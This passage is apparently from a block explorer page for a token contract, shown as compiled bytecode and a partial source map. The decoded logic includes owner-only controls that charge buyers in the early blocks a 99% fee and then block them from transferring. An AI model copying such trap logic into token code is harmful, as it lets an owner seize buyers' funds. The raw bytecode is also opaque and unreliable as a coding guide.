957600080fd5b50565b6000806040838503121561302f57600080fd5b823561303a81613004565b946020939093013593505050565b60006020828403121561305a57600080fd5b8135610d2c81613004565b60008060006060848603121561307a57600080fd5b833561308581613004565b9250602084013561309581613004565b929592945050506040919091013590565b6000602082840312156130b857600080fd5b5035919050565b600080600080608085870312156130d557600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561310457600080fd5b823561310f81613004565b91506020830135801515811461312457600080fd5b809150509250929050565b60008060006060848603121561314457600080fd5b833561314f81613004565b95602085013595506040909401359392505050565b6000806040838503121561317757600080fd5b823561318281613004565b9150602083013561312481613004565b600181811c908216806131a657607f821691505b6020821081036131c657634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610bd857610bd8613201565b60008261324b57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610bd857610bd8613201565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610bd857610bd8613201565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561332657600080fd5b8151610d2c81613004565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156133815784516001600160a01b03168352938301939183019160010161335c565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156133b757600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212208956ff0889d33269211721a475e9c47c7fb079bedfd1e608b495b82c9de92fc964736f6c634300081200334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0

Deployed Bytecode

0x6080604052600436106103c75760003560e01c806395d89b41116101f2578063cadd422c1161010d578063e2f45605116100a0578063f2bbf8d91161006f578063f2bbf8d914610ad3578063f2fde38b14610ae9578063fc7eb42d14610b09578063fd35d1d614610b1f57600080fd5b8063e2f4560514610a72578063e611bfdb14610a88578063e7ad9fcd14610a9e578063e884f26014610abe57600080fd5b8063d4384318116100dc578063d4384318146109e3578063dc3f0d0f146109f9578063dd62ed3e14610a19578063e086e5ec14610a5d57600080fd5b8063cadd422c14610981578063cd51e6d414610997578063d0a39814146109ad578063d257b34f146109c357600080fd5b8063abe43b1b11610185578063c18bc19511610154578063c18bc195146108f0578063c424134c14610910578063c5b45ec014610940578063c876d0b91461096057600080fd5b8063abe43b1b14610883578063b9e937001461089a578063bbc0c742146108b0578063c0246668146108d057600080fd5b8063a457c2d7116101c1578063a457c2d71461080d578063a9059cbb1461082d578063aa4bde281461084d578063aacebbe31461086357600080fd5b806395d89b41146107a25780639a7a23d6146107b75780639fccce32146107d7578063a41aaaf1146107ed57600080fd5b806359d24b8e116102e2578063751039fc1161027557806388e765ff1161024457806388e765ff146107435780638a8c523c146107595780638cf405551461076e5780638da5cb5b1461078457600080fd5b8063751039fc146106e25780637571336a146106f757806376c702bf14610717578063868f0a741461072d57600080fd5b80636eb490cf116102b15780636eb490cf1461066757806370a0823114610697578063715018a6146106b7578063737952e6146106cc57600080fd5b806359d24b8e146105ec57806366d602ae1461061c5780636b0a894c146106325780636ddd17131461064857600080fd5b806323b872dd1161035a5780633950935111610329578063395093511461057c578063437764991461059c57806349bd5a5e146105b25780634a62bb65146105d257600080fd5b806323b872dd146105005780632be32b61146105205780632e6ed7ef14610540578063313ce5671461056057600080fd5b80631816467f116103965780631816467f146104855780631a8145bb146104a75780631f3fed8f146104bd57806323b1e7a7146104d357600080fd5b806306fdde03146103d3578063095ea7b3146103fe5780631694505e1461042e57806318160ddd1461046657600080fd5b366103ce57005b600080fd5b3480156103df57600080fd5b506103e8610b35565b6040516103f59190612fb6565b60405180910390f35b34801561040a57600080fd5b5061041e61041936600461301c565b610bc7565b60405190151581526020016103f5565b34801561043a57600080fd5b5060095461044e906001600160a01b031681565b6040516001600160a01b0390911681526020016103f5565b34801561047257600080fd5b506004545b6040519081526020016103f5565b34801561049157600080fd5b506104a56104a0366004613048565b610bde565b005b3480156104b357600080fd5b5061047760255481565b3480156104c957600080fd5b5061047760235481565b3480156104df57600080fd5b506104776104ee366004613048565b600d6020526000908152604090205481565b34801561050c57600080fd5b5061041e61051b366004613065565b610c89565b34801561052c57600080fd5b506104a561053b3660046130a6565b610d33565b34801561054c57600080fd5b506104a561055b3660046130bf565b610e40565b34801561056c57600080fd5b50604051601281526020016103f5565b34801561058857600080fd5b5061041e61059736600461301c565b610ee3565b3480156105a857600080fd5b50610477601b5481565b3480156105be57600080fd5b5060085461044e906001600160a01b031681565b3480156105de57600080fd5b5060115461041e9060ff1681565b3480156105f857600080fd5b5061041e610607366004613048565b600f6020526000908152604090205460ff1681565b34801561062857600080fd5b5061047760145481565b34801561063e57600080fd5b5061047760125481565b34801561065457600080fd5b5060115461041e90610100900460ff1681565b34801561067357600080fd5b5061041e610682366004613048565b60166020526000908152604090205460ff1681565b3480156106a357600080fd5b506104776106b2366004613048565b610f1d565b3480156106c357600080fd5b506104a5610f38565b3480156106d857600080fd5b50610477601f5481565b3480156106ee57600080fd5b506104a5610fac565b34801561070357600080fd5b506104a56107123660046130f1565b611013565b34801561072357600080fd5b50610477601a5481565b34801561073957600080fd5b5061047760205481565b34801561074f57600080fd5b5061047760135481565b34801561076557600080fd5b506104a56110db565b34801561077a57600080fd5b5061047760265481565b34801561079057600080fd5b506005546001600160a01b031661044e565b3480156107ae57600080fd5b506103e861119e565b3480156107c357600080fd5b506104a56107d23660046130f1565b6111ad565b3480156107e357600080fd5b5061047760245481565b3480156107f957600080fd5b506104a561080836600461312f565b6112a1565b34801561081957600080fd5b5061041e61082836600461301c565b6112f7565b34801561083957600080fd5b5061041e61084836600461301c565b61138e565b34801561085957600080fd5b5061047760155481565b34801561086f57600080fd5b506104a561087e366004613048565b61139b565b34801561088f57600080fd5b50600754431061041e565b3480156108a657600080fd5b5061047760195481565b3480156108bc57600080fd5b5060115461041e9062010000900460ff1681565b3480156108dc57600080fd5b506104a56108eb3660046130f1565b611449565b3480156108fc57600080fd5b506104a561090b3660046130a6565b6114d2565b34801561091c57600080fd5b5061041e61092b366004613048565b60186020526000908152604090205460ff1681565b34801561094c57600080fd5b506104a561095b366004613048565b6115db565b34801561096c57600080fd5b5060115461041e906301000000900460ff1681565b34801561098d57600080fd5b50610477601c5481565b3480156109a357600080fd5b5061047760065481565b3480156109b957600080fd5b50610477601e5481565b3480156109cf57600080fd5b506104a56109de3660046130a6565b611626565b3480156109ef57600080fd5b5061047760225481565b348015610a0557600080fd5b506104a5610a143660046130a6565b611771565b348015610a2557600080fd5b50610477610a34366004613164565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b348015610a6957600080fd5b506104a5611878565b348015610a7e57600080fd5b50610477600a5481565b348015610a9457600080fd5b5061047760075481565b348015610aaa57600080fd5b506104a5610ab93660046130bf565b6118e4565b348015610aca57600080fd5b506104a5611984565b348015610adf57600080fd5b5061047760215481565b348015610af557600080fd5b506104a5610b04366004613048565b6119bd565b348015610b1557600080fd5b5061047760105481565b348015610b2b57600080fd5b50610477601d5481565b606060038054610b4490613192565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7090613192565b8015610bbd5780601f10610b9257610100808354040283529160200191610bbd565b820191906000526020600020905b815481529060010190602001808311610ba057829003601f168201915b5050505050905090565b6000610bd4338484611aa8565b5060015b92915050565b6005546001600160a01b03163314610c115760405162461bcd60e51b8152600401610c08906131cc565b60405180910390fd5b6001600160a01b038116610c675760405162461bcd60e51b815260206004820152601e60248201527f5f64657657616c6c657420616464726573732063616e6e6f74206265203000006044820152606401610c08565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610c96848484611bcb565b6001600160a01b03841660009081526020818152604080832033845290915290205482811015610d195760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610c08565b610d268533858403611aa8565b60019150505b9392505050565b6005546001600160a01b03163314610d5d5760405162461bcd60e51b8152600401610c08906131cc565b670de0b6b3a76400006103e8610d7260045490565b610d7d906002613217565b610d87919061322e565b610d91919061322e565b811015610df25760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610c08565b610e0481670de0b6b3a7640000613217565b60138190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de41009906020015b60405180910390a150565b6005546001600160a01b03163314610e6a5760405162461bcd60e51b8152600401610c08906131cc565b601d839055601a849055601b829055601c8190558082610e8a8587613250565b610e949190613250565b610e9e9190613250565b601981905560031015610edd5760405162461bcd60e51b8152602060048201526007602482015266019929036b0bc160cd1b6044820152606401610c08565b50505050565b336000818152602081815260408083206001600160a01b03871684529091528120549091610bd4918590610f18908690613250565b611aa8565b6001600160a01b031660009081526001602052604090205490565b6005546001600160a01b03163314610f625760405162461bcd60e51b8152600401610c08906131cc565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610fd65760405162461bcd60e51b8152600401610c08906131cc565b6004546013556004546014556004546015556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6005546001600160a01b0316331461103d5760405162461bcd60e51b8152600401610c08906131cc565b806110b0576008546001600160a01b03908116908316036110b05760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610c08565b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146111055760405162461bcd60e51b8152600401610c08906131cc565b60115462010000900460ff161561115e5760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610c08565b6011805462ffff00191662010100179055436006556040517fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb790600090a1565b606060028054610b4490613192565b6005546001600160a01b031633146111d75760405162461bcd60e51b8152600401610c08906131cc565b6008546001600160a01b039081169083160361125b5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610c08565b6112658282612803565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b306112ab81610f1d565b600a5411156112b957600080fd5b6112c4848484612831565b15610edd576009805460ff60a01b1916600160a01b1790556112e46128cb565b6009805460ff60a01b1916905550505050565b336000908152602081815260408083206001600160a01b0386168452909152812054828110156113775760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610c08565b6113843385858403611aa8565b5060019392505050565b6000610bd4338484611bcb565b6005546001600160a01b031633146113c55760405162461bcd60e51b8152600401610c08906131cc565b6001600160a01b0381166114275760405162461bcd60e51b8152602060048201526024808201527f5f6d61726b6574696e6757616c6c657420616464726573732063616e6e6f74206044820152630626520360e41b6064820152608401610c08565b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146114735760405162461bcd60e51b8152600401610c08906131cc565b6001600160a01b038216600081815260176020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146114fc5760405162461bcd60e51b8152600401610c08906131cc565b670de0b6b3a76400006103e861151160045490565b61151c906003613217565b611526919061322e565b611530919061322e565b8110156115945760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610c08565b6115a681670de0b6b3a7640000613217565b60158190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc90602001610e35565b6005546001600160a01b031633146116055760405162461bcd60e51b8152600401610c08906131cc565b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6005546001600160a01b031633146116505760405162461bcd60e51b8152600401610c08906131cc565b620186a061165d60045490565b611668906001613217565b611672919061322e565b8110156116df5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610c08565b6103e86116eb60045490565b6116f6906001613217565b611700919061322e565b81111561176c5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610c08565b600a55565b6005546001600160a01b0316331461179b5760405162461bcd60e51b8152600401610c08906131cc565b670de0b6b3a76400006103e86117b060045490565b6117bb906002613217565b6117c5919061322e565b6117cf919061322e565b8110156118315760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610c08565b61184381670de0b6b3a7640000613217565b60148190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610e35565b6005546001600160a01b031633146118a25760405162461bcd60e51b8152600401610c08906131cc565b604051600090339047908381818185875af1925050503d8060008114610edd576040519150601f19603f3d011682016040523d82523d6000602084013e610edd565b6005546001600160a01b0316331461190e5760405162461bcd60e51b8152600401610c08906131cc565b6022839055601f84905560208290556021819055808261192e8587613250565b6119389190613250565b6119429190613250565b601e81905560031015610edd5760405162461bcd60e51b815260206004820152600a6024820152693325206d61782066656560b01b6044820152606401610c08565b6005546001600160a01b031633146119ae5760405162461bcd60e51b8152600401610c08906131cc565b6011805463ff00000019169055565b6005546001600160a01b031633146119e75760405162461bcd60e51b8152600401610c08906131cc565b6001600160a01b038116611a4c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c08565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611b0a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c08565b6001600160a01b038216611b6b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c08565b6001600160a01b038381166000818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038084166000908152601660209081526040808320549386168352600d909152812054429260ff1691901590611c0786610f1d565b1590506001600160a01b038716611c305760405162461bcd60e51b8152600401610c0890613263565b6001600160a01b038616611c565760405162461bcd60e51b8152600401610c08906132a8565b60008511611ca65760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610c08565b60115462010000900460ff16611d3a576001600160a01b03871660009081526017602052604090205460ff1680611cf557506001600160a01b03861660009081526017602052604090205460ff165b611d3a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610c08565b60075415611de4576001600160a01b0387166000908152600f602052604090205460ff161580611d7757506005546001600160a01b038781169116145b80611d8c57506001600160a01b03861661dead145b611de45760405162461bcd60e51b815260206004820152602360248201527f626f742070726f74656374696f6e206d656368616e69736d20697320656d626560448201526219195960ea1b6064820152608401610c08565b60115460ff1615612299576001600160a01b03871660009081526018602052604090205460095460ff91821691600160a01b9091041615611e2d6005546001600160a01b031690565b6001600160a01b0316896001600160a01b031614158015611e5c57506005546001600160a01b03898116911614155b8015611e7057506001600160a01b03881615155b8015611e8757506001600160a01b03881661dead14155b8015611eac57506001600160a01b03891660009081526017602052604090205460ff16155b8015611ed157506001600160a01b03881660009081526017602052604090205460ff16155b15612046576011546301000000900460ff1615612046576009546001600160a01b038a1660009081526016602052604081205460ff600160a01b90930483161592161590818015611f1f5750825b6009549091506001600160a01b038c8116911614801590611f4e57506008546001600160a01b038c8116911614155b1561201157611f5e6002436132eb565b326000908152600e6020526040902054108015611f9c5750611f816002436132eb565b6001600160a01b038c166000908152600e6020526040902054105b611fe85760405162461bcd60e51b815260206004820152601d60248201527f5f7472616e736665723a2064656c61792077617320656e61626c65642e0000006044820152606401610c08565b326000908152600e602052604080822043908190556001600160a01b038e168352912055612042565b8015612042576001600160a01b038c166000908152600d602052604090205460105481118061203f57600080fd5b50505b5050505b6001600160a01b03891660009081526016602052604090205460ff16801561208757506001600160a01b03881660009081526018602052604090205460ff16155b15612153576013548711156120ef5760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610c08565b6015546120fb89610f1d565b6121059089613250565b111561214e5760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610c08565b612296565b80801561215d5750815b1561216c576010869055612296565b6001600160a01b03881660009081526016602052604090205460ff1680156121ad57506001600160a01b03891660009081526018602052604090205460ff16155b156122175760145487111561214e5760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610c08565b6001600160a01b03881660009081526018602052604090205460ff166122965760155461224389610f1d565b61224d9089613250565b11156122965760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610c08565b50505b60006122a430610f1d565b600a54909150811080159081906122c25750601154610100900460ff165b80156122d85750600954600160a01b900460ff16155b80156122fd57506001600160a01b03891660009081526016602052604090205460ff16155b801561232257506001600160a01b03891660009081526017602052604090205460ff16155b801561234757506001600160a01b03881660009081526017602052604090205460ff16155b15612375576009805460ff60a01b1916600160a01b1790556123676128cb565b6009805460ff60a01b191690555b60018480156123815750855b156123a85783156123a8576001600160a01b0389166000908152600d602052604090208790555b6001600160a01b038a1660009081526017602052604090205460ff16806123e757506001600160a01b03891660009081526017602052604090205460ff165b156123f0575060005b600081156127eb576007544310801561242157506001600160a01b038b1660009081526016602052604090205460ff165b801561244657506001600160a01b038a1660009081526016602052604090205460ff16155b801561245457506000601954115b156125d4576001600160a01b038a166000908152600f602052604090205460ff166124f4576001600160a01b038a166000908152600f60205260408120805460ff1916600190811790915560128054919290916124b2908490613250565b90915550506040516001600160a01b038b1681527f3d71e4a70676213519dc777e6e5b0ac4d021b9d144b673b89d0df519a879a83e9060200160405180910390a15b60646125018a6063613217565b61250b919061322e565b9050601954601d548261251e9190613217565b612528919061322e565b602560008282546125399190613250565b9091555050601954601a5461254e9083613217565b612558919061322e565b602360008282546125699190613250565b9091555050601954601b5461257e9083613217565b612588919061322e565b602460008282546125999190613250565b9091555050601954601c546125ae9083613217565b6125b8919061322e565b602660008282546125c99190613250565b909155506127cd9050565b6001600160a01b038a1660009081526016602052604090205460ff1680156125fe57506000601e54115b156126c0576064601e548a6126139190613217565b61261d919061322e565b9050601e54602254826126309190613217565b61263a919061322e565b6025600082825461264b9190613250565b9091555050601e54601f546126609083613217565b61266a919061322e565b6023600082825461267b9190613250565b9091555050601e546020546126909083613217565b61269a919061322e565b602460008282546126ab9190613250565b9091555050601e546021546125ae9083613217565b6001600160a01b038b1660009081526016602052604090205460ff1680156126ea57506000601954115b156127cd5760646019548a6126ff9190613217565b612709919061322e565b9050601954601d548261271c9190613217565b612726919061322e565b602560008282546127379190613250565b9091555050601954601a5461274c9083613217565b612756919061322e565b602360008282546127679190613250565b9091555050601954601b5461277c9083613217565b612786919061322e565b602460008282546127979190613250565b9091555050601954601c546127ac9083613217565b6127b6919061322e565b602660008282546127c79190613250565b90915550505b80156127de576127de8b3083612ad1565b6127e8818a6132eb565b98505b6127f68b8b8b612ad1565b5050505050505050505050565b6001600160a01b0382166000908152601660205260409020805460ff19168215151790556112658282612c26565b3360008181526017602052604081205490919060ff163083821561288b57600061285a83610f1d565b1115612880578660000361287257601086905561287c565b61287c8888612c89565b5060005b9350610d2c92505050565b60265461289783610f1d565b101580156128a757506000602654115b156128b8576128b884602654612c89565b505060006026555060019150610d2c9050565b60006026541180156128e757506026546128e430610f1d565b10155b156128f8576128f830602654612c89565b6000602681905561290830610f1d565b9050600060245460235460255461291f9190613250565b6129299190613250565b9050811580612936575080155b1561293f575050565b600a805461294c91613217565b82111561296357600a805461296091613217565b91505b6000600282602554856129769190613217565b612980919061322e565b61298a919061322e565b905061299e61299982856132eb565b612daa565b602554479081906000906129b49060029061322e565b6129be90866132eb565b6023546129cb9085613217565b6129d5919061322e565b9050600060026025546129e8919061322e565b6129f290876132eb565b6024546129ff9086613217565b612a09919061322e565b9050612a158183613250565b612a1f90846132eb565b600060258190556023819055602481905560265592508415801590612a445750600083115b15612a5357612a538584612f04565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612a8d573d6000803e3d6000fd5b50600b546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015612ac7573d6000803e3d6000fd5b5050505050505050565b6001600160a01b038316612af75760405162461bcd60e51b8152600401610c0890613263565b6001600160a01b038216612b1d5760405162461bcd60e51b8152600401610c08906132a8565b6001600160a01b03831660009081526001602052604090205481811015612b955760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610c08565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290612bcc908490613250565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c1891815260200190565b60405180910390a350505050565b6001600160a01b038216600081815260186020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6001600160a01b038216612cdf5760405162461bcd60e51b815260206004820152601760248201527f45524332303a20746865207a65726f20616464726573730000000000000000006044820152606401610c08565b6001600160a01b03821660009081526001602052604090205481811015612d525760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074686520616d6f756e7420657863656564732062616c616e636044820152606560f81b6064820152608401610c08565b6001600160a01b03831660008181526001602090815260408083208686039055600480548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611bbe565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612ddf57612ddf6132fe565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612e38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e5c9190613314565b81600181518110612e6f57612e6f6132fe565b6001600160a01b039283166020918202929092010152600954612e959130911684611aa8565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac94790612ece908590600090869030904290600401613331565b600060405180830381600087803b158015612ee857600080fd5b505af1158015612efc573d6000803e3d6000fd5b505050505050565b600954612f1c9030906001600160a01b031684611aa8565b60095460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015612f8a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612faf91906133a2565b5050505050565b600060208083528351808285015260005b81811015612fe357858101830151858201604001528201612fc7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461301957600080fd5b50565b6000806040838503121561302f57600080fd5b823561303a81613004565b946020939093013593505050565b60006020828403121561305a57600080fd5b8135610d2c81613004565b60008060006060848603121561307a57600080fd5b833561308581613004565b9250602084013561309581613004565b929592945050506040919091013590565b6000602082840312156130b857600080fd5b5035919050565b600080600080608085870312156130d557600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561310457600080fd5b823561310f81613004565b91506020830135801515811461312457600080fd5b809150509250929050565b60008060006060848603121561314457600080fd5b833561314f81613004565b95602085013595506040909401359392505050565b6000806040838503121561317757600080fd5b823561318281613004565b9150602083013561312481613004565b600181811c908216806131a657607f821691505b6020821081036131c657634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610bd857610bd8613201565b60008261324b57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610bd857610bd8613201565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610bd857610bd8613201565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561332657600080fd5b8151610d2c81613004565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156133815784516001600160a01b03168352938301939183019160010161335c565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156133b757600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212208956ff0889d33269211721a475e9c47c7fb079bedfd1e608b495b82c9de92fc964736f6c63430008120033

Deployed Bytecode Sourcemap

8148:20163:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3942:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5347:194;;;;;;;;;;-1:-1:-1;5347:194:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;5347:194:0;1023:187:1;8306:38:0;;;;;;;;;;-1:-1:-1;8306:38:0;;;;-1:-1:-1;;;;;8306:38:0;;;;;;-1:-1:-1;;;;;1402:32:1;;;1384:51;;1372:2;1357:18;8306:38:0;1215:226:1;4151:108:0;;;;;;;;;;-1:-1:-1;4239:12:0;;4151:108;;;1592:25:1;;;1580:2;1565:18;4151:108:0;1446:177:1;25718:189:0;;;;;;;;;;-1:-1:-1;25718:189:0;;;;;:::i;:::-;;:::i;:::-;;9670:33;;;;;;;;;;;;;;;;9596;;;;;;;;;;;;;;;;8499:62;;;;;;;;;;-1:-1:-1;8499:62:0;;;;;:::i;:::-;;;;;;;;;;;;;;4418:529;;;;;;;;;;-1:-1:-1;4418:529:0;;;;;:::i;:::-;;:::i;15569:339::-;;;;;;;;;;-1:-1:-1;15569:339:0;;;;;:::i;:::-;;:::i;24356:532::-;;;;;;;;;;-1:-1:-1;24356:532:0;;;;;:::i;:::-;;:::i;4050:93::-;;;;;;;;;;-1:-1:-1;4050:93:0;;4133:2;3058:36:1;;3046:2;3031:18;4050:93:0;2916:184:1;5549:290:0;;;;;;;;;;-1:-1:-1;5549:290:0;;;;;:::i;:::-;;:::i;9287:27::-;;;;;;;;;;;;;;;;8271:28;;;;;;;;;;-1:-1:-1;8271:28:0;;;;-1:-1:-1;;;;;8271:28:0;;;8723:33;;;;;;;;;;-1:-1:-1;8723:33:0;;;;;;;;8639:47;;;;;;;;;;-1:-1:-1;8639:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8955:28;;;;;;;;;;;;;;;;8887:25;;;;;;;;;;;;;;;;8763:31;;;;;;;;;;-1:-1:-1;8763:31:0;;;;;;;;;;;9029:52;;;;;;;;;;-1:-1:-1;9029:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4267:143;;;;;;;;;;-1:-1:-1;4267:143:0;;;;;:::i;:::-;;:::i;1084:150::-;;;;;;;;;;;;;:::i;9437:34::-;;;;;;;;;;;;;;;;14551:203;;;;;;;;;;;;;:::i;23369:364::-;;;;;;;;;;-1:-1:-1;23369:364:0;;;;;:::i;:::-;;:::i;9247:33::-;;;;;;;;;;;;;;;;9478:28;;;;;;;;;;;;;;;;8921:27;;;;;;;;;;;;;;;;13691:243;;;;;;;;;;;;;:::i;9710:32::-;;;;;;;;;;;;;;;;581:79;;;;;;;;;;-1:-1:-1;646:6:0;;-1:-1:-1;;;;;646:6:0;581:79;;3830:104;;;;;;;;;;;;;:::i;23984:364::-;;;;;;;;;;-1:-1:-1;23984:364:0;;;;;:::i;:::-;;:::i;9636:27::-;;;;;;;;;;;;;;;;14165:378;;;;;;;;;;-1:-1:-1;14165:378:0;;;;;:::i;:::-;;:::i;5847:475::-;;;;;;;;;;-1:-1:-1;5847:475:0;;;;;:::i;:::-;;:::i;4955:200::-;;;;;;;;;;-1:-1:-1;4955:200:0;;;;;:::i;:::-;;:::i;8990:30::-;;;;;;;;;;;;;;;;25450:260;;;;;;;